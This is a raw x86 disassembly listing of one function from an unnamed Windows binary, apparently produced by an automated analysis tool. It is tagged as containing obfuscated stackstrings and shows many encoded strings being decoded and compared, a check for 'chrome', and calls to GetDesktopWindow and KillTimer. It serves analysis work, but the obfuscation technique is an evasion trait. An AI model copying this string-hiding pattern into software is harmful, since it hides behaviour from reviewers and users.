Function at 0x428d83
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x44
mov eax, 0x478750
call fcn.0045644c
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov al, byte [ebp + 0xc]
push 0x398
mov byte [edi + 0x14f], bl
mov byte [edi + 0xe8], al
call fcn.00431df2
pop ecx
mov dword [ebp + 0xc], eax
mov dword [ebp - 4], ebx
cmp eax, ebx
je 0x428dc7
push ebx
mov ecx, eax
call fcn.0042d0e0
jmp 0x428dc9
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [edi + 0x124], eax
push dword [0x4a69cc]
mov ecx, eax
call fcn.0042c17f
cmp byte [ebp + 8], 0
mov dword [edi + 0xec], ebx
mov dword [ebp - 4], 1
je 0x428e5d
push ecx
mov ecx, esp
mov dword [ebp - 0x3c], esp
push ebx
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x40], esp
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x38], esp
push str.Mzo5ATQ8SAo_Ai0PMxFIADQQQCgwPEwIMEgtRQ
mov byte [ebp - 4], 2
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov dword [ebp - 0x38], esp
mov esi, esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x38], esp
push str.NypMNDApDzY7OxszPCohRQ
mov byte [ebp - 4], 3
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
mov byte [ebp - 4], 1
call fcn.0041ebd9
add esp, 0xc
mov ecx, edi
call fcn.004265bf
push 0x47e0d6
lea ecx, [ebp - 0x1c]
call fcn.004040dc
mov byte [ebp - 4], 4
xor edi, edi
cmp edi, dword [0x4a6c80]
jge 0x428f9f
mov eax, edi
imul eax, eax, 0xb58
cmp byte [eax + 0x4a7308], 0
je 0x429069
lea eax, [eax + 0x4a70a8]
push eax
lea ecx, [ebp - 0x20]
call fcn.004036b5
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.NhA5ADQsITo8ARNAOSwUOTcsC0E8Ox8eNysPVzkTDzIoKT45LgI1LDcqC0s5PT1TMxEUPiopRUU
mov byte [ebp - 4], 5
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
mov esi, dword [ebp - 0x20]
or dword [ebp - 0x14], 1
push esi
mov byte [ebp - 4], 6
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x428f1e
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.MzsXCD8SE0A9DxNAOSwUOTcsC0E8Ox8eNysPVzkTDzIoKT45LgI1LDcqC0s5PEgZNSoyNSwSQDs0LS1F
call fcn.004023b9
lea eax, [ebp - 0x2c]
push eax
call fcn.00403cea
or dword [ebp - 0x14], 2
add esp, 0x28
push dword [eax]
push esi
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x428f1e
xor bl, bl
jmp 0x428f20
mov bl, 1
test byte [ebp - 0x14], 2
je 0x428f35
mov ecx, dword [ebp - 0x2c]
and dword [ebp - 0x14], 0xfffffffd
add ecx, 0xfffffff0
call fcn.00401264
test byte [ebp - 0x14], 1
mov dword [ebp - 4], 5
je 0x428f51
mov ecx, dword [ebp - 0x30]
and dword [ebp - 0x14], 0xfffffffe
add ecx, 0xfffffff0
call fcn.00401264
test bl, bl
je 0x42905d
push 5
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.NQILIDk8KUA8SDlIMxMAOTM8Dww2ER8INxIXFzBILj4
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
add esp, 0x28
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 7
call fcn.0040396d
mov ecx, dword [ebp - 0x30]
add ecx, 0xfffffff0
call fcn.00401264
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 4
call fcn.00401264
push 0x47e0d6
lea ecx, [ebp - 0x1c]
call fcn.00403363
test eax, eax
jne 0x4290f0
xor edi, edi
cmp edi, dword [0x4a6c80]
jge 0x4290f0
mov eax, edi
imul eax, eax, 0xb58
cmp byte [eax + 0x4a7308], 0
je 0x4291ce
lea eax, [eax + 0x4a70a8]
push eax
lea ecx, [ebp - 0x30]
call fcn.004036b5
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.NilAQTARCzs7Dx8POS0QIDUBADExEhs5KT09SjQ8EzEzEUgMKilFRQ
mov byte [ebp - 4], 8
call fcn.004023b9
lea eax, [ebp - 0x20]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
mov esi, dword [ebp - 0x30]
or dword [ebp - 0x14], 4
push esi
mov byte [ebp - 4], 9
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x42906f
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.MDkTGTsQGyg7AEgdPg8XGj06Ey8wAEhF
call fcn.004023b9
lea eax, [ebp - 0x2c]
push eax
call fcn.00403cea
or dword [ebp - 0x14], 8
add esp, 0x28
push dword [eax]
push esi
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x42906f
xor bl, bl
jmp 0x429071
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 4
call fcn.00401264
inc edi
jmp 0x428e77
mov bl, 1
test byte [ebp - 0x14], 8
je 0x429086
mov ecx, dword [ebp - 0x2c]
and dword [ebp - 0x14], 0xfffffff7
add ecx, 0xfffffff0
call fcn.00401264
test byte [ebp - 0x14], 4
mov dword [ebp - 4], 8
je 0x4290a2
mov ecx, dword [ebp - 0x20]
and dword [ebp - 0x14], 0xfffffffb
add ecx, 0xfffffff0
call fcn.00401264
test bl, bl
je 0x4291c2
push 5
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.NQIXATUSLQo8DwtXOSocOjM8D0E2ER8INy0XFzBILj4
call fcn.004023b9
lea eax, [ebp - 0x2c]
push eax
call fcn.00403cea
add esp, 0x28
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xa
call fcn.0040396d
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffff0
call fcn.00401264
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 4
call fcn.00401264
lea eax, [ebp - 0x24]
push eax
call fcn.004225d7
pop ecx
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.KA8yNTcRCy0xEj1F
mov byte [ebp - 4], 0xb
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xc
call fcn.00403363
mov ecx, dword [ebp - 0x30]
test eax, eax
sete bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xb
call fcn.00401264
push 4
test bl, bl
je 0x429363
pop edi
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.MzsANT8SCwssPT1BN0g5MzYBSA0oH0VF
call fcn.004023b9
lea eax, [ebp - 0x2c]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
or dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xd
call fcn.00403363
test eax, eax
je 0x4291d4
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.MxM6Mi4TE0U
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
or dword [ebp - 0x14], 0x20
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xe
call fcn.00403363
test eax, eax
je 0x4291d4
xor bl, bl
jmp 0x4291d6
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 4
call fcn.00401264
inc edi
jmp 0x428fb6
mov bl, 1
test byte [ebp - 0x14], 0x20
je 0x4291eb
mov ecx, dword [ebp - 0x30]
and dword [ebp - 0x14], 0xffffffdf
add ecx, 0xfffffff0
call fcn.00401264
test byte [ebp - 0x14], 0x10
mov dword [ebp - 4], 0xb
je 0x429207
mov ecx, dword [ebp - 0x2c]
and dword [ebp - 0x14], 0xffffffef
add ecx, 0xfffffff0
call fcn.00401264
test bl, bl
je 0x429683
push ecx
mov ecx, esp
mov dword [ebp - 0x40], esp
mov ebx, 0x47e0d6
push ebx
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x3c], esp
push ebx
mov byte [ebp - 4], 0xf
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x38], esp
push ebx
mov byte [ebp - 4], 0x10
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x34], esp
push 5
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x30], esp
push str.NhIPKDM7DwszKQsAMyo2NjZIH041AR8JNipMSig7E08zAg9BKzwTCDw8IQI9LR81MxEUPiopRUU
mov byte [ebp - 4], 0x11
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov esi, esp
mov dword [ebp - 0x30], esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2c], esp
push str.NTwxNTsfSBw
mov byte [ebp - 4], 0x12
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov ecx, esp
mov dword [ebp - 0x2c], esp
push ebx
mov byte [ebp - 4], 0x13
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x20], esp
push ebx
mov byte [ebp - 4], 0x14
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x44], esp
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x48], esp
push str.NQ8xLDARCzo8ARNAOSwUOTYAPUE_AR9APjxMCTMtLj4
mov byte [ebp - 4], 0x15
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
mov byte [ebp - 4], 0x16
push ecx
mov esi, esp
mov dword [ebp - 0x48], esp
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c], esp
push str.NikxNDk8TDs9D0hXORI9MSgsFwg9PCkeNywtSzktOQgzOww5LAIPKCk6PRc9EBsyNSsMNTcsNSooKUhAOTsTEQ
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov esi, esp
mov dword [ebp - 0x4c], esp
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NCkxDD8SOU4_Ai1TPT0fSTU6QE40AjkINyoPRQ
mov byte [ebp - 4], 0x17
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov dword [ebp - 0x50], esp
mov esi, esp
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
mov byte [ebp - 4], 0x18
push str.MzwPLDk8Czs8AhNLNDtJOTYBF00sAiksPQAXVzkTDxczLAw5LQIbKTsAPUkoPQ8pNjoyMTssCzs2LjVAPA8LHjYsCDk3LCk7KTwTVzktDzY3LBQ5MAEfTTcqOUg0PQ9NKCk5NDwrC0E9AEBINxETGjUCDDY1KwsLPw8LCigsSTM1AQ8gNCwhTyw5Dwg0Oz0xNQA1LDwsKUArLBdKKDwTNjY7Fyw8Akg7PQAPSD0tEwE2KT00PDsLCzQpCxczKUE2NjwMMjYSISspOUhXOTkMLCg5QTk8Ei1PPQEfDzQ6Niw1KxcoLCwbLD08TEU
call fcn.004023b9
push esi
call fcn.00403cea
mov edi, dword [ebp - 0x18]
add esp, 0x28
mov ecx, edi
mov byte [ebp - 4], 0xb
call fcn.0042698d
jmp 0x429686
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NQEMMSksOQs2KQ9TN0g5MzUBSA0oH0VF
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x19
call fcn.00403363
mov ecx, dword [ebp - 0x30]
test eax, eax
sete bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xb
call fcn.00401264
test bl, bl
je 0x429683
push 3
pop edi
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NTwINTUrC1MxEj1F
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x1a
call fcn.00403363
mov ecx, dword [ebp - 0x30]
test eax, eax
sete bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xb
call fcn.00401264
test bl, bl
je 0x4296a0
push ecx
mov ecx, esp
mov dword [ebp - 0x50], esp
mov edi, 0x47e0d6
push edi
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x4c], esp
push edi
mov byte [ebp - 4], 0x1b
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x48], esp
push edi
mov byte [ebp - 4], 0x1c
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x44], esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.PQILzYSSAsvPRQvKylFRQ
mov byte [ebp - 4], 0x1d
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov esi, esp
mov dword [ebp - 0x40], esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3c], esp
mov ebx, str.NTwxNTsfSBw
push ebx
mov byte [ebp - 4], 0x1e
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov ecx, esp
mov dword [ebp - 0x3c], esp
push edi
mov byte [ebp - 4], 0x1f
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x38], esp
push edi
mov byte [ebp - 4], 0x20
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x34], esp
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x30], esp
push str.NQ8xLDARCzo8ARNAOSwUOTYAPUE_AR9APjxMCTMtLj4
mov byte [ebp - 4], 0x21
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov esi, esp
mov dword [ebp - 0x30], esp
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2c], esp
push str.NikxNDk8TDs9D0hXORI9MSgsFwg9PCkeNywtSzktOQgzOww5LAIPKCk6PRc9EBsyNSsMNTcsNSooKUhAOTsTEQ
mov byte [ebp - 4], 0x22
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov esi, esp
mov dword [ebp - 0x2c], esp
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.NCkxDD8SOU4_Ai1TPT0fSTU6QE40AjkINyoPRQ
mov byte [ebp - 4], 0x23
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov dword [ebp - 0x20], esp
mov esi, esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.LEg9KTw5DzEpFBwgMDobKD4QKSA_KgAvPio9GjsQGzQAEw1LhALID4uGxsD0AvPjobIjAGyIuABQgP0kbIj8qDDQpLQgzLBQuOSk9CDYuLQA1PwBJLiktHxwrSS0ZMBM6Mys9CxwsSAAxKz1NIDA6GzUEEg1MB86LzApORw
mov byte [ebp - 4], 0x24
call fcn.004023b9
push esi
call fcn.00403cea
mov ecx, dword [ebp - 0x18]
add esp, 0x28
mov byte [ebp - 4], 0xb
call fcn.0042698d
push ecx
mov ecx, esp
mov dword [ebp - 0x50], esp
push edi
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x4c], esp
push edi
mov byte [ebp - 4], 0x25
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x48], esp
push edi
mov byte [ebp - 4], 0x26
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x44], esp
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.MwEXQTwrTCsxLT1IKBA5ATQQNS0xLDU6PTwxRQ
mov byte [ebp - 4], 0x27
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov esi, esp
mov dword [ebp - 0x40], esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3c], esp
push ebx
mov byte [ebp - 4], 0x28
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov ecx, esp
mov dword [ebp - 0x3c], esp
push edi
mov byte [ebp - 4], 0x29
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x38], esp
push edi
mov byte [ebp - 4], 0x2a
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x34], esp
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x30], esp
push str.NDwTNC0COU4_Ai1TPT0fSTUfQDQ1KwsIKi0tRQ
mov byte [ebp - 4], 0x2b
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov ecx, esp
mov dword [ebp - 0x30], esp
push 0x48929c
mov byte [ebp - 4], 0x2c
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x2c], esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.NwApSig7EDIuExM0Oz0ULjUCCDksE0E1LBMQLjE9OjcuEEg5MClFRQ
mov byte [ebp - 4], 0x2d
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov dword [ebp - 0x20], esp
mov esi, esp
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.Ni0fHjARDzs8DxNLNDtJOTYBF00sAiksPQAXVzkTDxczLAw5LQIbKTsAPUkoPQ8pNjoyMTssCzs2LjVAPA8LHjYsCDk3LCk7KTwTVzktDzY3LBQ5MAEfTTcqOUg0PQ9NKCk5NDwrC0AAEAXOTsTGjYRDDY1LBsJPQ8LSz08LRk2LA8gNywbCiw5Ewo0Ohs0NjtIQTwsKUAAR8PKD05NjY7Fyw8AhseMEhISD0qG0k2EQ9NPDxIQCguGwI9SBAzMzk5SS0CIQspO0hXKzobIDYPOU05LCkpNisPSig5DDooEgw1KywTHjBISEg3EiFONhELKDQ8SE8sOTkXNDocNDY6OU41LBsLNykfCTQrST4
mov byte [ebp - 4], 0x2e
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 4], 0xb
call fcn.0042698d
mov edi, dword [ebp - 0x18]
xor esi, esi
inc esi
cmp esi, dword [0x4a6c80]
mov ecx, edi
jge 0x4297cf
push esi
call fcn.004259ad
inc esi
jmp 0x429689
call fcn.004228f8
test al, al
je 0x429683
push ecx
mov ecx, esp
mov dword [ebp - 0x50], esp
mov ebx, 0x47e0d6
push ebx
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x4c], esp
push ebx
mov byte [ebp - 4], 0x2f
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x48], esp
push ebx
mov byte [ebp - 4], 0x30
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x44], esp
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x40], esp
push str.MwEXQTwrTCsxLT1IKBA5ATQQNS0xLDU6PTwxRQ
mov byte [ebp - 4], 0x31
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov esi, esp
mov dword [ebp - 0x40], esp
push 2
pop edi
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3c], esp
push str.NTwxNTsfSBw
mov byte [ebp - 4], 0x32
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov ecx, esp
mov dword [ebp - 0x3c], esp
push ebx
mov byte [ebp - 4], 0x33
call fcn.004040dc
push ecx
mov ecx, esp
mov dword [ebp - 0x38], esp
push ebx
mov byte [ebp - 4], 0x34
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x34], esp
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x30], esp
push str.NDwTNC0COU4_Ai1TPT0fSTUfQDQ1KwsIKi0tRQ
mov byte [ebp - 4], 0x35
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov ecx, esp
mov dword [ebp - 0x30], esp
push 0x48929c
mov byte [ebp - 4], 0x36
call fcn.004040dc
push ecx
mov esi, esp
mov dword [ebp - 0x2c], esp
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
push str.NwApSig7EDIuExM0Oz0ULjUCCDksE0E1LBMQLjE9OjcuEEg5MClFRQ
mov byte [ebp - 4], 0x37
call fcn.004023b9
push esi
call fcn.00403cea
add esp, 0x28
push ecx
mov dword [ebp - 0x20], esp
mov esi, esp
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x20], esp
mov byte [ebp - 4], 0x38
push str.Ni0fHjARDzs8DxNLNDtJOTYBF00sAiksPQAXVzkTDxczLAw5LQIbKTsAPUkoPQ8pNjoyMTssCzs2LjVAPA8LHjYsCDk3LCk7KTwTVzktDzY3LBQ5MAEfTTcqOUg0PQ9NKCk5NDwrC0AAEAXOTsTGjYRDDY1LBsJPQ8LSz08LRk2LA8gNywbCiw5Ewo0Ohs0NjtIQTwsKUAAR8PKD05NjY7Fyw8AhseMEhISD0qG0k2EQ9NPDxIQCguGwI9SBAzMzk5SS0CIQspO0hXKzobIDYPOU05LCkpNisPSig5DDooEgw1KywTHjBISEg3EiFONhELKDQ8SE8sOTkXNDocNDY6OU41LBsLNykfCTQrST4
jmp 0x429342
xor ebx, ebx
push ebx
call fcn.004259ad
lea eax, [ebp - 0x28]
push 0x94
push eax
call fcn.0041c543
pop ecx
pop ecx
lea esi, [edi + 0x13c]
mov eax, dword [esi]
cmp dword [eax - 0xc], ebx
mov byte [ebp - 4], 0x39
jle 0x4297ff
mov ecx, edi
call fcn.00424980
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call fcn.0043bcc0
mov ecx, dword [edi + 0x124]
mov edx, dword [ecx]
push eax
push 0x67
call dword [edx + 0x13c]
push ecx
lea eax, [edi + 0x12c]
mov dword [ebp - 0x50], esp
mov ecx, esp
push eax
call fcn.004036b5
mov ecx, dword [edi + 0x124]
call fcn.0042cfca
mov ecx, dword [edi + 0x124]
push 5
call fcn.0043447c
lea eax, [edi + 0x140]
mov ecx, dword [eax]
cmp dword [ecx - 0xc], ebx
jle 0x42985c
push ecx
mov dword [ebp - 0x50], esp
mov ecx, esp
push eax
jmp 0x4298cb
push ebx
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NgELTTASOSkoLDUPMxMPHzcsFD4qKUVF
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
or dword [ebp - 0x14], 0x40
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x28]
call fcn.0040361c
cmp eax, 0xffffffff
jg 0x4298a9
push ebx
push str.chrome
lea ecx, [ebp - 0x28]
call fcn.0040361c
cmp eax, 0xffffffff
jg 0x4298a9
xor bl, bl
jmp 0x4298ab
mov bl, 1
test byte [ebp - 0x14], 0x40
je 0x4298c0
mov ecx, dword [ebp - 0x30]
and dword [ebp - 0x14], 0xffffffbf
add ecx, 0xfffffff0
call fcn.00401264
test bl, bl
je 0x4298d7
push ecx
mov dword [ebp - 0x50], esp
mov ecx, esp
push esi
call fcn.004036b5
mov ecx, edi
call fcn.00424cdb
push 2
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_KillTimer]
lea eax, [ebp + 8]
push 0x9c
push eax
call fcn.0041c543
pop ecx
pop ecx
lea eax, [ebp + 0xc]
push 0x97
push eax
mov byte [ebp - 4], 0x3a
call fcn.0041c543
pop ecx
pop ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x3b
call fcn.004036b5
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x3c
call fcn.004037ff
mov eax, dword [ebp - 0x20]
cmp dword [eax - 0xc], 0
jle 0x429c95
cmp byte [0x4a67ca], 0
je 0x42997b
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.MxEyHTA9Fy4qLRNF
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
add esp, 0x28
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp + 0xc]
push eax
mov byte [ebp - 4], 0x3d
call fcn.0040386d
mov ecx, dword [ebp - 0x30]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0x3c
call fcn.00401264
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NikxMTcsNUAzLUxTORIuLCg9H00rPC1PPQE5Sig9HzI1KwgxLQIAMTQSTEU
call fcn.004023b9
lea eax, [ebp - 0x40]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
or dword [ebp - 0x14], 0x80
push dword [ebp + 8]
mov byte [ebp - 4], 0x3e
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x429afd
push 3
pop ebx
push ebx
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NDoyOSksOU4_AR9TPTsTHygBFygzEkwpLDs5RQ
call fcn.004023b9
lea eax, [ebp - 0x3c]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
or dword [ebp - 0x14], 0x100
push dword [ebp + 8]
mov dword [ebp - 4], 0x3f
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x429afd
push ebx
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.KC0fLDASOU4_AR9TPTsTHygBFyg0AjkIKT0tRQ
call fcn.004023b9
lea eax, [ebp - 0x38]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
or dword [ebp - 0x14], 0x200
push dword [ebp + 8]
mov dword [ebp - 4], 0x40
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x429afd
push 5
pop esi
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NhBBOjcsIU88AhdAOSkLMTYAQDU0Ox9BMEhIQD0qQAooHzkgOTxIKz48IUs8Aj01KDkxSTssOUAsPS1F
call fcn.004023b9
lea eax, [ebp - 0x34]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
or dword [ebp - 0x14], 0x400
push dword [ebp + 8]
mov dword [ebp - 4], 0x41
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x429afd
push ebx
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NisXCDM8OU4_AR9TPTsTHygBFyg3Akw5MSoPRQ
call fcn.004023b9
lea eax, [ebp - 0x2c]
push eax
call fcn.00403cea
add esp, 0x28
push dword [eax]
or dword [ebp - 0x14], 0x800
push dword [ebp + 8]
mov dword [ebp - 4], 0x42
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x429afd
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.Nh9ATSwsKUApPBdPKzwUIDcsFDo2ER8LPjwTDzkqQTY2ARdNKzwpQTxISBczLBNIMxEUPiopRUU
call fcn.004023b9
lea eax, [ebp - 0x30]
push eax
call fcn.00403cea
or dword [ebp - 0x14], 0x1000
add esp, 0x28
push dword [eax]
push dword [ebp + 8]
call fcn.004581f2
pop ecx
pop ecx
test eax, eax
je 0x429afd
xor bl, bl
jmp 0x429aff
mov bl, 1
test dword [ebp - 0x14], 0x1000
je 0x429b1a
mov ecx, dword [ebp - 0x30]
and dword [ebp - 0x14], 0xffffefff
add ecx, 0xfffffff0
call fcn.00401264
test dword [ebp - 0x14], 0x800
je 0x429b35
mov ecx, dword [ebp - 0x2c]
and dword [ebp - 0x14], 0xfffff7ff
add ecx, 0xfffffff0
call fcn.00401264
test dword [ebp - 0x14], 0x400
je 0x429b50
mov ecx, dword [ebp - 0x34]
and dword [ebp - 0x14], 0xfffffbff
add ecx, 0xfffffff0
call fcn.00401264
test dword [ebp - 0x14], 0x200
je 0x429b6b
mov ecx, dword [ebp - 0x38]
and dword [ebp - 0x14], 0xfffffdff
add ecx, 0xfffffff0
call fcn.00401264
test dword [ebp - 0x14], 0x100
je 0x429b86
mov ecx, dword [ebp - 0x3c]
and dword [ebp - 0x14], 0xfffffeff
add ecx, 0xfffffff0
call fcn.00401264
test byte [ebp - 0x14], 0x80
mov dword [ebp - 4], 0x3c
je 0x429b9e
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.00401264
test bl, bl
je 0x429bfa
cmp byte [edi + 0x151], 0
je 0x429bee
push 5
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push str.NhETADY8KU87AQtLMykLMTUANSkzPC06KzpMQTMAQAooEx9BPAIpQTACMQI5EBtIMxEUPiopRUU
call fcn.004023b9
lea eax, [ebp - 0x40]
push eax
call fcn.00403cea
add esp, 0x28
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp + 0xc]
push eax
mov byte [ebp - 4], 0x43
call fcn.0040386d
